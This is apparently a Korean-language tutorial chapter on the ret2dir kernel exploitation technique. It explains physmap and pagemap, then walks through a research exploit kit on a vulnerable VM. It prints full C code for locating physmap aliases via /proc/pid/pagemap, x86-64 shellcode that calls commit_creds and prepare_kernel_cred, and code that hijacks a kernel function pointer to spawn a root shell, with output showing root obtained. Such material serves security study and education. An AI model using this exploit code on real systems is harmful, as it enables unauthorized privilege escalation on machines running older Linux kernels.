Excuse the ads! We need some help to keep our site up.
List
08.ret2dir(return-to-direct-mapped memory)
- ret2dir은 물리적 메모리(physical memory) 영역에 잘못된 권한 설정을 악용하는 기법입니다.
- 최신 커널에서는 권한이 모두 수정되었습니다.
Virtual memory
가상 메모리(Virtual memory)는 메모리 관리 방법의 하나로, 각 프로그램에 물리적 주소(physical addresses)가 아닌 가상의 메모리 주소를 사용하는 방식입니다.
- 이러한 방식은 멀티태스킹 운영 체제에서 흔히 사용되며, 주기억장치(RAM) 보다 큰 메모리 영역을 제공하는 방법으로도 사용됩니다.
- 가상 주소 공간은 메모리 관리 장치(MMU)에 의해서 물리 주소로 변환된다.
- 대부분의 아키텍처 및 운영 체제에서는 가상 메모리 기능을 제공합니다.
MMU(Memory management unit)
- 페이징 메모리 관리 장치(PMMU)라고도 하는 메모리 관리 장치(MMU)는 CPU가 메모리에 접근하는 것을 관리하는 컴퓨터 하드웨어 부품이다.
- MMU는 가상 메모리 주소(virtual memory addresses)를 물리적 주소(physical addresses) 주소로 변환합니다.
- MMU는 가상 메모리 관리를 효과적으로 수행하며, 메모리 보호, 캐시 제어, 버스 조정, 등을 처리합니다.
Virtual address space
컴퓨팅에서 가상 주소 공간(VAS) 또는 주소 공간은 운영 체제에서 프로세스에 사용되는 일련의 가상 주소 집합입니다.
가상 주소의 범위는 일반적으로 낮은 주소에서 시작하여 컴퓨터의 명령어 세트 아키텍처에서 허용되는 최상위 주소로 확장 될 수 있습니다.
운영 체제의 포인터 크기 구현에 의해 지원됩니다.
32 비트의 경우 4 바이트
64 비트의 경우 8 바이트
Page Table
- 페이지 테이블은 가상 주소와 물리적 주소(physical addresses) 간의 매핑을 저장하기 위해 컴퓨터 운영 체제의 가상 메모리 시스템이 사용하는 데이터 구조입니다.
- 가상 주소는 액세스 프로세스에 의해 실행되는 프로그램에 의해 사용되는 반면 물리적 주소는 하드웨어, 특히 RAM 서브시스템에 의해 사용됩니다.
- 페이지 테이블은 메모리의 데이터에 액세스하는 데 필요한 가상 주소 변환의 핵심 구성 요소입니다.
- Linux kernel 2.6.11 이후에 가상 메모리 관리를 위해 "4 level page tables"이 사용되고 있습니다.
Virtual memory map with 4 level page tables(x86-64)
- 아래 정보는 "4 level page tables"를 사용하여 가상 주소를 물리적 주소(physical addresses)에 매핑할 때 사용되는 메모리 영역정보입니다.
- 여기서 중요한 영역은 "ffff880000000000 - ffffc7ffffffffff" 영역입니다.
- 해당 영역은 User Page와 Physical memory 직접적으로 매핑됩니다.
- 해당 영역과 해당 영역과 매핑된 가상 주소 영역을 논문에서 physmap 영역이라고 부릅니다.
- 해당 영역은 ret2dir 공격의 핵심이 됩니다.
Area | Size | Description |
---|---|---|
0000000000000000 - 00007fffffffffff | 47 bits | user space, different per mm hole caused by [48:63] sign extension |
ffff800000000000 - ffff80ffffffffff | 40 bits | guard hole |
ffff880000000000 - ffffc7ffffffffff | 64 TB | direct mapping of all phys. memory |
ffffc80000000000 - ffffc8ffffffffff | 40 bits | hole |
ffffc90000000000 - ffffe8ffffffffff | 45 bits | vmalloc/ioremap space |
ffffe90000000000 - ffffe9ffffffffff | 40 bits | hole |
ffffea0000000000 - ffffeaffffffffff | 40 bits | virtual memory map (1TB) ... unused hole ... |
ffffffff80000000 - ffffffffa0000000 | 512 MB | kernel text mapping, from phys 0 |
ffffffffa0000000 - fffffffffff00000 | 1536 MB | module mapping space |
physmap characteristics across different architectures (x86, x86-64, AArch32, AArch64).
- 아래 링크된 논문의 내용을 보면 다음과 같은 정보를 확인할 수 있습니다.
- x86에서 physmap은 연구원들이 시도했던 모든 커널 버전에서 "읽을 수 있고 쓸 수 있는"(RW)로 매핑되어 있었다고 합니다.
- 2009년 12월 발매된 커널 버전 중 가장 오래된 버전은 v2.6.32
- 그러나 x86-64에서 physmap의 사용 권한은 정상 상태가 아니었다고 합니다.
- v3.8.13까지의 커널은 전체 영역을 "읽기 가능, 쓰기 가능 및 실행 가능"(RWX)으로 매핑하여 W^X 속성을 위반합니다.
- 최근의 커널(≥ v3.9)은 RW 매핑을 사용합니다.
- AArch32 및 AArch64도 physmap의 권한이 RWX
- 테스트한 모든 커널 버전(v3.12까지)
- 즉, 이로 인해 물리적 메모리(physical memory)영역에 shellcode를 저장하고 실행할수 있습니다.
- x86에서 physmap은 연구원들이 시도했던 모든 커널 버전에서 "읽을 수 있고 쓸 수 있는"(RW)로 매핑되어 있었다고 합니다.
Architecture | PHYS_OFFSET | Size | Prot | |
---|---|---|---|---|
x86 | (3G/1G) | 0xC0000000 | 891MB | RW |
(2G/2G) | 0x80000000 | 1915MB | RW | |
(1G/3G) | 0x40000000 | 2939MB | RW | |
AArch32 | (3G/1G) | 0xC0000000 | 760MB | RWX |
(2G/2G) | 0x80000000 | 1784MB | RWX | |
(1G/3G) | 0x40000000 | 2808MB | RWX | |
x86-64 | 0xFFFF880000000000 | 64TB | RWX | |
AArch64 | 0xFFFFFFC000000000 | 256GB | RWX |
https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-kemerlis.pdf - Table 1: physmap characteristics across different architectures (x86, x86-64, AArch32, AArch64).
pagemap file
- 일반 유저 프로그램에서 physmap 영역에 데이터를 쓰기 위해 physmap와 매핑된 가상 메모리 주소(virtual memory addresses)가 필요합니다.
- 가상 페이지(Virtual page)에 매핑된 물리적 주소(physical addresses)를 찾기 위해 "pagemap" 파일을 사용할 수 있습니다.
- 이 파일은 가상 페이지와 프로세스의 물리적 메모리 사이의 맵 정보를 포함합니다
- 이 파일을 사용하면 사용자 공간 프로세스가 각 가상 페이지(Virtual page)가 실제 매핑되는 프레임을 찾을 수 있습니다.
- 여기에는 다음 데이터를 포함하는 각 가상 페이지에 대한 하나의 64비트 값이 들어 있습니다.
- ret2dir 공격에 필요한 필드의 값은 2가지 입니다.
- "present" 또는 "present bit"로 불리는 값과 페이지 프레임 번호(PFN,page frame number) 입니다.
- "present bit" 값으로는 다음과 같은 정보를 확인할 수 있습니다.
- 해당 값이 "0"일 경우 페이지는 메모리에 있지 않고 디스크에 있습니다.
- 해당 값이 "1"일 경우 페이지가 물리적 주소(physical addresses)에 있습니다.
- "페이지 프레임 번호(PFN,page frame number)" 를 이용하여 가상 페이지(Virtual page)에 매핑된 물리적 주소를 찾을 수 있습니다.
Bits | Present | swap | |
---|---|---|---|
0-54 | 페이지 프레임 번호(PFN,Page Frame Number) | 0-4 | 스왑 유형(Swap Type) |
5-54 | 스왑 오프셋(Swap Offset) | ||
55 | pte is soft-dirty (see Documentation/vm/soft-dirty.txt) | ||
56 | page exclusively mapped (since 4.2) | ||
57-60 | Zero | ||
61 | file-page or shared-anon (since 3.5) | ||
62 | swapped | ||
63 | present |
Linux 4.0 이후 CAP_SYS_ADMIN 기능을 가진 사용자 만 PFN을 가져올 수 있습니다.
4.0 및 4.1에서는 -EPERM을 사용하여 권한이 없는 오류가 발생합니다.
4.2에서 시작하여 사용자가 CAP_SYS_ADMIN을 가지고 있지 않으면 PFN 필드는 0으로 설정됩니다.
Example
Operating System Information
- 이 장에서 사용할 예제는 "http://www.cs.columbia.edu/~vpk/" 에서 공개하고 있는 VM과 Sample code를 사용하겠습니다.
- ID : w00t, PW : pwn3d
w00t@vlux:~$ uname -a Linux vlux 3.8.0-19-generic #30~precise1-Ubuntu SMP Wed May 1 22:26:36 UTC 2013 x86_64 GNU/Linux w00t@vlux:~$
- 해당 VM은 2 Processor를 사용하며, SMEP가 적용되어 있습니다.
w00t@vlux:~/ekit$ cat /proc/cpuinfo |grep flags flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts nopl xtopology tsc_reliable nonstop_tsc aperfmperf eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm ida arat epb xsaveopt pln pts dtherm fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts nopl xtopology tsc_reliable nonstop_tsc aperfmperf eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm ida arat epb xsaveopt pln pts dtherm fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid w00t@vlux:~/ekit$
Download the sample code and VM.
- Copyright (c) 2011, Columbia University All rights reserved.
- This software was developed by Vasileios P. Kemerlis <vpk@cs.columbia.edu>at Columbia University, New York, NY, USA, in May 2011.
- http://www.cs.columbia.edu/~vpk/research/ret2dir/
Build & Setting
- 다음과 같이 제공된 VM에서 ret2dir 취약성을 테스트 할 수 있습니다.
w00t@vlux:~$ cd ekit/ w00t@vlux:~/ekit$ ls include ret2dir ret2usr runme utils w00t@vlux:~/ekit$ ./runme |=-------------------------------------------------------------------------=| |=------[ Return-to-direct-mapped memory (ret2dir) Exploitation Kit ]------=| |=-------------------------------------------------------------------------=| |=-------[ Network Security Lab (NSL) # http://nsl.cs.columbia.edu ]-------=| |=-------------------------[ Columbia University ]-------------------------=| |=-------------[ Vasileios P. Kemerlis (vpk@cs.columbia.edu) ]-------------=| |=-------------------[ http://www.cs.columbia.edu/~vpk ]-------------------=| |=-------------------------------------------------------------------------=| Kernel version : 3.8.0-19-generic Prot. (ret2usr) : SMEP [+] SMAP [-] KERNEXEC [-] UDEREF [-] CPU : Intel(R) Core(TM) i7-4771 CPU @ 3.50GHz (#2) RAM : 1988 MB Available exploits: [1] PERF_EVENTS EDB-ID: 26131 (http://www.exploit-db.com/exploits/26131/) CVE-ID: 2013-2094 (signedness error) [2] kernwrite EDB-ID: NONE CVE-ID: NONE (function/data pointer overwrite) [0] Exit > 2 Available variants: >[1] ret2dir Bypasses: SMEP, SMAP, KERNEXEC, UDEREF [2] ret2usr [0] Exit > 1 <-f/--fptr> or <-d/--dptr> > f kernwrite_amd64: [Warn] `mode' was not specified -- using -f (--fptr) kernwrite_amd64: [Warn] invalid `prepare_kernel_cred' address -- 0 [*] `prepare_kernel_cred' at 0xffffffff81086870 kernwrite_amd64: [Warn] invalid `commit_creds' address -- 0 [*] `commit_creds' at 0xffffffff810865f0 [*] 0x7fcc9715d000 is kernel-mapped at 0xffff88002d3ba000 [+] shellcode is at 0xffff88002d3ba000 [+] p0wned [^_-] # id uid=0(root) gid=0(root) groups=0(root) #
kernwrite.c - kernwrite_init()
- kernwrite_init() 함수는 다음과 같이 기능을 처리합니다.
함수 포인터와 size_t type의 데이터를 저장하는 dummy_ops 구조체를 정의합니다.
dummy_ops 구조체 타입의 변수(ops)와 포인터 변수를 선언(*ops_ptr)합니다.
kernwrite_init() 함수는 다음과 같이 기능을 처리합니다.
- ops_ptr 변수에 ops변수의 주소(&ops)를 저장합니다.
- debugfs_create_dir() 함수를 이용하여 debugfs에 "kernwrite" 디렉토리를 생성합니다.
- debugfs_create_file() 함수를 이용하여 다음과 같은 파일을 생성합니다.
- "over_func_ptr" 파일은 over_func_fops() 함수
- "over_data_ptr" 파일은 over_data_fops() 함수
- "invoke_func" 파일은 invoke_func_fops() 함수를
- 해당 파일들은 앞에서 생성한 디렉토리 하위에 생성됩니다.
- 해당 파일들의 권한은 쓰기(0222)권한으로 설정됩니다.
... /* * struct dummy_ops * * definition of a dummy structure that contains * a function pointer and a generic data field */ struct dummy_ops { size_t val; ssize_t (*fptr)(void); }; /* * a kernel-mapped `dummy_ops' structure */ static struct dummy_ops ops; /* a kernel-mapped data pointer to `ops' */ static struct dummy_ops *ops_ptr; ... /* module loading callback */ static int kernwrite_init(void) { /* initialize the data pointer to `ops' */ ops_ptr = &ops; /* create the kernwrite directory in debugfs */ kernwrite_root = debugfs_create_dir("kernwrite", NULL); /* failed */ if (kernwrite_root == NULL) { /* verbose */ printk(KERN_ERR "kernwrite: creating root dir failed\n"); return -ENODEV; } /* create the files with the appropriate `fops' struct and perms */ over_func_ptr = debugfs_create_file("over_func_ptr", 0222, kernwrite_root, NULL, &over_func_fops); over_data_ptr = debugfs_create_file("over_data_ptr", 0222, kernwrite_root, NULL, &over_data_fops); invoke_func_ptr = debugfs_create_file("invoke_func", 0222, kernwrite_root, NULL, &invoke_func_fops); /* error handling */ if (over_func_ptr == NULL || over_data_ptr == NULL || invoke_func_ptr == NULL) goto out_err; /* return with success */ return 0; out_err: /* cleanup */ printk(KERN_ERR "kernwrite: creating files in root dir failed\n"); cleanup_debugfs(); /* return with failure */ return -ENODEV; }
kernwrite.c - over_func()
over_func() 함수는 다음과 같이 기능을 처리합니다.
32 byte 크기를 가지는 char형 변수(addr)를 생성합니다.
memset() 함수를 이용하여 해당 변수의 값을 0으로 초기화 합니다.
copy_from_user() 함수를 이용하여 유저로 부터 전달 받은 값을 addr 변수에 저장합니다.
simple_strtol() 함수를 이용하여 addr 변수에 저장된 문자열을 signed long으로 변환하여 ops.fptr 변수에 저장합니다.
atoi() 함수 대신 simple_strtol() 함수를 사용하는 이유는 Kernel source에서 유저 영역 라이브러리인 "stdlib.h"를 사용할 수 없기 때문 입니다.
/* * writing to the `over_func_ptr' file overwrites * the function pointer of `ops' with an arbitrary, * user-controlled value */ static ssize_t over_func(struct file *f, const char __user *buf, size_t count, loff_t *off) { /* address buffer */ char addr[ADDR_SZ]; /* cleanup */ memset(addr, 0 , ADDR_SZ); /* copy the buffer to kernel space */ if (copy_from_user(addr, buf, (count < ADDR_SZ - 1) ? count : ADDR_SZ - 1) != 0) { /* failed */ printk(KERN_ERR "kernwrite: overwriting the function pointer failed\n"); return -EINVAL; } /* overwrite the function pointer */ ops.fptr = (void *)simple_strtol(addr, NULL, 16); f->private_data = ops.fptr; /* verbose */ printk(KERN_DEBUG "kernwrite: overwriting function pointer with 0x%p\n", ops.fptr); /* done! */ return count; }
kernwrite.c - invoke_func()
- invoke_func() 함수는 다음과 같이 기능을 처리합니다.
- ops_ptr→fptr 포인터 함수의 주소를 출력합니다.
- ops_ptr→fptr 포인터 함수를 실행합니다.
- 즉, 유저 프로그램으로 부터 전달 받은 주소를 호출하게 됩니다.
/* * writing to the `invoke_func' file calls * the `fptr' member of `ops' via `opt_ptr' */ static ssize_t invoke_func(struct file *f, const char __user *buf, size_t count, loff_t *off) { /* verbose */ printk(KERN_DEBUG "kernwrite: executing at 0x%p\n", ops_ptr->fptr); /* do it */ return ops_ptr->fptr(); }
Proof of Concept
Get the Present bit & PFN from "pagemap" file
main() 함수에서 다음과 같이 동작합니다.
sysconf() 함수를 이용하여 시스템의 페이지 사이즈(_SC_PAGESIZE) 정보를 얻습니다.
mmap() 함수를 이용하여 512MB 크기의 메모리를 할당합니다.
querypmap() 함수를 호출합니다.
querypmap() 함수에서는 다음과 같이 동작합니다.
다음과 같이 pagemap 파일의 정보를 읽어옵니다.
calloc() 함수를 이용하여 "pagemap" 파일의 정보를 저장할 공간을 할당합니다.
snprintf() 함수를 이용하여 해당 프로세스에서 사용하는 "pagemap" 파일 주소를 path변수에 저장합니다.
fopen() 함수를 이용하여 해당 파일을 읽습니다.
fseek() 함수를 이용하여 특정 위치로 건너뜁니다.
fread() 함수를 이용하여 지정한 만큼 데이터를 pentry 영역에 읽습니다.
다음과 같이 각 page의 PFN, present bit 정보를 확인할 수 있습니다.
while() 을 이용하여 pnum 변수에 저장된 수 만큼 아래 동작을 반복합니다.
AND 연산자(&)를 이용하여 63번째 비트의 값을 확인합니다.
- present bit의 값이 0인 경우
- pnum에 저장된 값을 1감소시키고 while()의 진입점으로 이동합니다.
present bit의 값이 1인 경우
- AND 연산자(&)를 이용하여 PFN 영역(0~54 bit)의 값을 추출합니다.
- "(1ULL << 55) - 1" = 0x7FFFFFFFFFFFFF
- pnum에 저장된 값을 1감소시키고 while()의 진입점으로 이동합니다.
- AND 연산자(&)를 이용하여 PFN 영역(0~54 bit)의 값을 추출합니다.
- present bit의 값이 0인 경우
- "pagemap" 파일에서 얻은 PFN정보를 이용하여 가상 페이지(Virtual page)에 맵핑된 물리적 주소(physical addresses)를 찾을 수 있습니다.
#include <err.h> #include <errno.h> #include <fcntl.h> #include <getopt.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> /* constants */ #define PATH_SZ 32 /* path size (/proc/<pid>/pagemap) */ #define PRESENT_MASK (1ULL << 63) /* get bit 63 from a 64-bit integer */ #define PFN_MASK ((1ULL << 55) - 1) /* get bits 0-54 from */ #define ALLOC_STEP 1024*1024*512 /* chunk of 512MB */ void querypmap(pid_t pid, unsigned long vaddr, long psize, size_t pnum) { char path[PATH_SZ]; /* path in /proc */ uint64_t *pentry = NULL; /* pagemap entries */ FILE *fp = NULL; /* pagemap file */ /* 페이지맵 항목 초기화 */ if ((pentry = calloc(pnum, sizeof(uint64_t))) == NULL) errx(7,"[Fail] couldn't allocate memory for pagemap entries -- %s",strerror(errno)); memset(path, 0, PATH_SZ); if (snprintf(path, PATH_SZ, "/proc/%d/pagemap", pid) >= PATH_SZ) /* format the path variable */ errx(4,"[Fail] invalid path for /proc/%d/pagemap -- %s",pid,path); if ((fp = fopen(path, "r")) == NULL) /* open the pagemap file */ errx(4,"[Fail] couldn't open %s -- %s",path,strerror(errno)); if (fseek(fp, (vaddr / psize) * sizeof(uint64_t), SEEK_CUR) == -1) /* seek to the appropriate place */ errx(5,"[Fail] couldn't seek in pagemap -- %s",strerror(errno)); if (fread(pentry, sizeof(uint64_t), pnum, fp) != pnum) /* read the corresponding pagemap entries */ errx(6,"[Fail] couldn't read pagemap entries -- %s",strerror(errno)); while (pnum > 0) { /* check the present bit */ if ((pentry[pnum - 1] & PRESENT_MASK) == 0) { printf("[*] present bit 0\n"); /* proper accounting */ pnum--; /* continue with the next page */ continue; } /* verbose */ printf("[*] Page Number %zd\n", pnum - 1); printf("[*] present bit 1\n"); printf("[*] PFN is %llu\n\n", pentry[pnum - 1] & PFN_MASK); /* proper accounting */ pnum--; } /* cleanup */ fclose(fp); return; } void main() { long psize; /* page size */ char *code = NULL; /* shellcode buffer */ /* get the page size */ if ((psize = sysconf(_SC_PAGESIZE)) == -1) /* failed */ errx(2, "[Fail] couldn't read page size -- %s", strerror(errno)); /* allocate ALLOC_STEP bytes in user space */ if ((code = mmap(NULL, ALLOC_STEP, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0)) == MAP_FAILED) /* failed */ errx(7, "[Fail] couldn't allocate memory -- %s", strerror(errno)); /* see if user space is kernel-mapped */ querypmap(getpid(), (unsigned long)code, psize, ALLOC_STEP / psize); }
w00t@vlux:~/re2dir$ gcc -o get_info get_info.c w00t@vlux:~/re2dir$ ./get_info [*] Page Number 131071 [*] present bit 1 [*] PFN is 388370 [*] Page Number 131070 [*] present bit 1 [*] PFN is 388369 [*] Page Number 131069 [*] present bit 1 [*] PFN is 388368 ...
Find physical addresses mapped to virtual pages
- 다음과 같은 방법으로 가상 페이지(Virtual page)에 맵핑된 물리적 주소(physical addresses)를 찾을 수 있습니다.
- 가상 페이지(Virtual page)의 주소
- 할당된 메모리의 시작 주소 + 페이지 번호 * 페이지 사이즈 = 가상 페이지(Virtual page)의 주소
- 0x7F1A3582D000 + 131071 * 4096 = 0x7f1a5582c000
- 맵핑된 물리적 주소(physical addresses)
- (PFN * 페이지 사이즈) + direct mapping of all phys. memory + (가상 페이지(Virtual page)의 주소 & (페이지 사이즈 - 1))
- (260299 * 4096) + 0xFFFF880000000000 + (0x7f1a5582c000 & (4096 - 1)) = 0xffff88003f8cb000
- Source code : ((pentry[pnum - 1] & PFN_MASK) * psize) + PAGE_OFFSET + (vaddr & (psize - 1));
- 가상 페이지(Virtual page)의 주소
#include <err.h> #include <errno.h> #include <fcntl.h> #include <getopt.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> /* constants */ #define PATH_SZ 32 /* path size (/proc/<pid>/pagemap) */ #define PRESENT_MASK (1ULL << 63) /* get bit 63 from a 64-bit integer */ #define PFN_MASK ((1ULL << 55) - 1) /* get bits 0-54 from */ #define ALLOC_STEP 1024*1024*512 /* chunk of 512MB */ #define PAGE_OFFSET 0xFFFF880000000000UL /* kernel space */ #define KERN_EXEC_LOW 0xFFFF880030400000UL /* exec range start */ #define KERN_EXEC_HIGH 0xFFFF880080000000UL /* exec range end */ void querypmap(pid_t pid, unsigned long vaddr, long psize, size_t pnum) { char path[PATH_SZ]; /* path in /proc */ uint64_t *pentry = NULL; /* pagemap entries */ FILE *fp = NULL; /* pagemap file */ unsigned long kaddr = 0; /* helper */ /* 페이지맵 항목 초기화 */ if ((pentry = calloc(pnum, sizeof(uint64_t))) == NULL) errx(7,"[Fail] couldn't allocate memory for pagemap entries -- %s",strerror(errno)); memset(path, 0, PATH_SZ); if (snprintf(path, PATH_SZ, "/proc/%d/pagemap", pid) >= PATH_SZ) /* format the path variable */ errx(4,"[Fail] invalid path for /proc/%d/pagemap -- %s",pid,path); if ((fp = fopen(path, "r")) == NULL) /* open the pagemap file */ errx(4,"[Fail] couldn't open %s -- %s",path,strerror(errno)); if (fseek(fp, (vaddr / psize) * sizeof(uint64_t), SEEK_CUR) == -1) /* seek to the appropriate place */ errx(5,"[Fail] couldn't seek in pagemap -- %s",strerror(errno)); if (fread(pentry, sizeof(uint64_t), pnum, fp) != pnum) /* read the corresponding pagemap entries */ errx(6,"[Fail] couldn't read pagemap entries -- %s",strerror(errno)); vaddr += ((pnum - 1) * psize); while (pnum > 0) { /* check the present bit */ if ((pentry[pnum - 1] & PRESENT_MASK) == 0) { warnx("[Warn] %#lx is not present in physical memory",vaddr); /* proper accounting */ kaddr = 0; vaddr -= psize; pnum--; /* continue with the next page */ continue; } /* get the kernel-mapped address of vaddr */ kaddr = ((pentry[pnum - 1] & PFN_MASK) * psize) + PAGE_OFFSET + (vaddr & (psize - 1)); /* valid match ? */ if (kaddr >= KERN_EXEC_LOW && kaddr <= KERN_EXEC_HIGH){ printf("[*] Found KERN_EXEC Zone!\n\n"); /* verbose */ printf("[*] Page Number %zd\n", pnum - 1); printf("[*] present bit 1\n"); printf("[*] PFN is %llu\n", pentry[pnum - 1] & PFN_MASK); printf("[*] %#lx is kernel-mapped at %#lx\n\n",vaddr,kaddr); /* yeah baby */ break; } /* proper accounting */ kaddr = 0; vaddr -= psize; pnum--; } /* cleanup */ fclose(fp); return; } void main() { long psize; /* page size */ char *code = NULL; /* shellcode buffer */ /* get the page size */ if ((psize = sysconf(_SC_PAGESIZE)) == -1) /* failed */ errx(2, "[Fail] couldn't read page size -- %s", strerror(errno)); /* allocate ALLOC_STEP bytes in user space */ if ((code = mmap(NULL, ALLOC_STEP, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0)) == MAP_FAILED) /* failed */ errx(7, "[Fail] couldn't allocate memory -- %s", strerror(errno)); /* see if user space is kernel-mapped */ querypmap(getpid(), (unsigned long)code, psize, ALLOC_STEP / psize); }
w00t@vlux:~/re2dir$ ./get_mapping_info [*] Found KERN_EXEC Zone! [*] Page Number 131071 [*] present bit 1 [*] PFN is 260299 [*] 0x7f1a5582c000 is kernel-mapped at 0xffff88003f8cb000 w00t@vlux:~/re2dir$
Write the shellcode to physical memory
- 유저 프로그램에서는 물리 메모리에 데이터를 저장할 수 없습니다.
- 데이터를 쓰기 원하는 물리 메모리의 영역과 맵핑된 가상 페이지(Virtual page) 주소를 이용하여 데이터를 저장합니다.
- 다음과 같은 방법으로 실행이 가능한 물리 메모리에 shellcode를 저장할 수 있습니다.
- char형 포인터 변수 code에 페이지 번호와 페이지 사이즈를 곱한 값을 더합니다.
- code 변수는 RWX권한을 가지는 물리 메모리와 맵핑된 가상 페이지(Virtual page) 주소가 저장됩니다.
- code += res.pnum * psize;
- char형 포인터 변수 code에 페이지 번호와 페이지 사이즈를 곱한 값을 더합니다.
/* shellcode stitching */ code += res.pnum * psize; memcpy(code, shell_tmpl, SHELL_PREFIX); code += SHELL_PREFIX; memcpy(code, &caddr, sizeof(unsigned)); code += sizeof(unsigned); memcpy(code, &shell_tmpl[SHELL_PREFIX], SHELL_ADV); code += SHELL_ADV; memcpy(code, &paddr, sizeof(unsigned)); code += sizeof(unsigned); memcpy(code, &shell_tmpl[SHELL_PREFIX + SHELL_ADV], SHELL_SUFFIX);
- memcpy() 함수를 이용하여 code변수가 가리키는 주소에 shellcode를 복사합니다.
- 첫번째 memcpy() 호출에서는 shell_tmpl 변수에 저장된 8byte를 code 변수에 저장합니다.
- 기본적인 함수호출 규약과 commit_creds() 함수의 주소를 rbx레지스터에 저장합니다.
- 두번째 memcpy() 호출에서는 commit_creds() 함수의 주소를 code 변수에 저장합니다.
- 세번째 memcpy() 호출에서는 shell_tmpl 변수에 저장된 24byte를 code 변수에 저장합니다.
- prepare_kernel_cred() 함수의 주소를 rax레지스터에 저장합니다.
- root 권한을 얻기 위해 commit_creds() 함수의 첫번재 인자값을 0으로 저장합니다.
- commit_creds() 함수 호출 후 리턴된 값을 prepare_kernel_cred() 함수의 첫번재 인자 값으로 저장하고 호출합니다.
- 네번째 memcpy() 호출에서는 prepare_kernel_cred() 함수의 주소를 code 변수에 저장합니다.
- 다섯번째 memcpy() 호출에서는 shell_tmpl 변수에 저장된 3byte를 code 변수에 저장합니다.
- 스택을 정리하고 이전 함수로 돌아갑니다.
- 첫번째 memcpy() 호출에서는 shell_tmpl 변수에 저장된 8byte를 code 변수에 저장합니다.
#elif defined(__x86_64__) /* x86-64 */ #define SHELL_PREFIX 8 /* 8 bytes of "prefix" code */ #define SHELL_SUFFIX 24 /* 24 bytes of "suffix" code */ #define SHELL_ADV 3 /* 3 bytes of code advancement */ static char shell_tmpl[] = "\x55" /* push %rbp */ "\x48\x89\xe5" /* mov %rsp, %rbp */ "\x53" /* push %rbx */ "\x48\xc7\xc3" /* mov $<kaddr>, %rbx */ "\x48\xc7\xc0" /* mov $<kaddr>, %rax */ "\x48\xc7\xc7\x00\x00\x00\x00" /* mov $0x0, %rdi */ "\xff\xd0" /* callq *%rax */ "\x48\x89\xc7" /* mov %rax, %rdi */ "\xff\xd3" /* callq *%rbx */ "\x48\xc7\xc0\x00\x00\x00\x00" /* mov $0x0, %rax */ "\x5b" /* pop %rbx */ "\xc9" /* leaveq */ "\xc3"; /* ret */ #endif #endif /* __SHELLCODE_H__ */
Execute shellcode from virtual memory address.
- 물리 메모리에 저장된 shellcode를 실행하기 위해 다음과 같이 동작합니다.
- memset() 함수를 이용하여 saddr 변수의 값을 0으로 초기화 합니다.
- sprintf() 함수를 이용하여 saddr 변수에 res.btarget 변수에 저장된 값을 복사합니다.
- res.btarget 변수에는 code 변수에 저장된 가상 페이지(Virtual page)와 맵핑된 물리 메모리의 주소가 저장되어 있습니다.
- open() 함수를 이용하여 "over_func_ptr" 드라이버 파일을 엽니다.
- write() 함수를 이용하여 해당 드라이버에 saddr 변수의 값을 전달합니다.
- open() 함수를 이용하여 "invoke_func" 드라이버 파일을 엽니다.
- write() 함수를 이용하여 해당 드라이버에 saddr 변수의 값을 전달합니다.
- 해당 동작으로 인해 invoke_func() 함수가 실행되며, over_func_ptr()를 통해 전달된 물리 메모리 영역이 실행됩니다.
- 이로 인해 유저 프로그램은 root 권한을 획득할 수 있습니다.
/* prepare to overwrite a function pointer via `kernwrite' */ memset(saddr, 0, ADDR_SZ); sprintf(saddr, "%#lx", res.btarget); /* verbose */ fprintf(stdout, "[+] shellcode is at %s\n", saddr); /* do it (kernwrite specific) */ if ((fd = open("/sys/kernel/debug/kernwrite/over_func_ptr", O_WRONLY)) == -1) errx(8, "[Fail] couldn't open %s -- %s", "/sys/kernel/debug/kernwrite/over_func_ptr", strerror(errno)); if (write(fd, saddr, strlen(saddr)) != strlen(saddr)) errx(8, "[Fail] couldn't write in %s -- %s", "/sys/kernel/debug/kernwrite/over_func_ptr", strerror(errno)); close(fd); if ((fd = open("/sys/kernel/debug/kernwrite/invoke_func", O_WRONLY)) == -1) errx(9, "[Fail] couldn't open %s -- %s", "/sys/kernel/debug/kernwrite/invoke_func", strerror(errno)); if (write(fd, "1", 1) == -1) errx(9, "[Fail] couldn't write in %s -- %s", "/sys/kernel/debug/kernwrite/invoke_func", strerror(errno)); close(fd); /* check to see if we succeeded */ if (getuid() == 0) { /* verbose */ fprintf(stderr, "[+] p0wned [^_-]\n"); /* execute a rootshell */ execve("/bin/sh", argv, NULL); } /* l0Ooser */ fprintf(stderr, "[-] failed to p0wn the machine\n");
Execute shellcode from virtual memory address.
- 다음과 같이 shellcode를 실행할 주소로 가상 메모리의 주소를 전달합니다.
/* prepare to overwrite a function pointer via `kernwrite' */ memset(saddr, 0, ADDR_SZ); sprintf(saddr, "%#lx", vaddr); /* verbose */ fprintf(stdout, "[+] shellcode is at %s\n", saddr);
- 다음과 같이 가상 메모리의 주소로 전달할 경우 shellcode가 실행되지 않습니다.
w00t@vlux:~/ret2dir$ gcc -o vaddr exploit\(vaddr\).c w00t@vlux:~/ret2dir$ ./vaddr [*] Found KERN_EXEC Zone! [*] Page Number 131071 [*] 0x7f0adbb91000 is kernel-mapped at 0xffff88005fa21000 [*] `prepare_kernel_cred' at 0xffffffff81086870 [*] `commit_creds' at 0xffffffff810865f0 [+] shellcode is at 0x7f0adbb91000 Killed w00t@vlux:~/ret2dir$
- 아래와 같이 드라이버의 에러 메시지를 확인할 수 있습니다.
